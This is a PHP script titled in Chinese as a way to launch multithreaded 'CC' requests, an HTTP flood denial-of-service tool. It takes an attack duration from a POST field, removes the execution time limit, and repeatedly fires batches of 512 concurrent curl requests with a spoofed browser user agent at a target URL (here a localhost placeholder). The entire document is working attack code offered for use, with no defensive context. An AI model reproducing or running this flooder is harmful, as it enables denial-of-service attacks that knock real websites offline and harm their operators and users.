使用php发起多线程cc请求

<?phpset_time_limit(0);ignore_user_abort(FALSE);$exec_time = $_POST['time'];$t='http://localhost/index.asp';$urls=array_fill(0,512,$t);$time = time();$max_time = $time+$exec_time;while (1){if(time() > $max_time) {      break;     }$mh = curl_multi_init();    foreach ($urls as $i => $url) {     $conn[$i] = curl_init($url);     curl_setopt($conn[$i], CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)");     curl_setopt($conn[$i], CURLOPT_HEADER ,0);     curl_setopt($conn[$i], CURLOPT_CONNECTTIMEOUT,5);    curl_multi_add_handle ($mh,$conn[$i]);   } // 初始化   do {     curl_multi_exec($mh,$active);   } while ($active);  foreach ($urls as $i => $url) {     curl_multi_remove_handle($mh,$conn[$i]);     curl_close($conn[$i]);   } curl_multi_close($mh);   }?>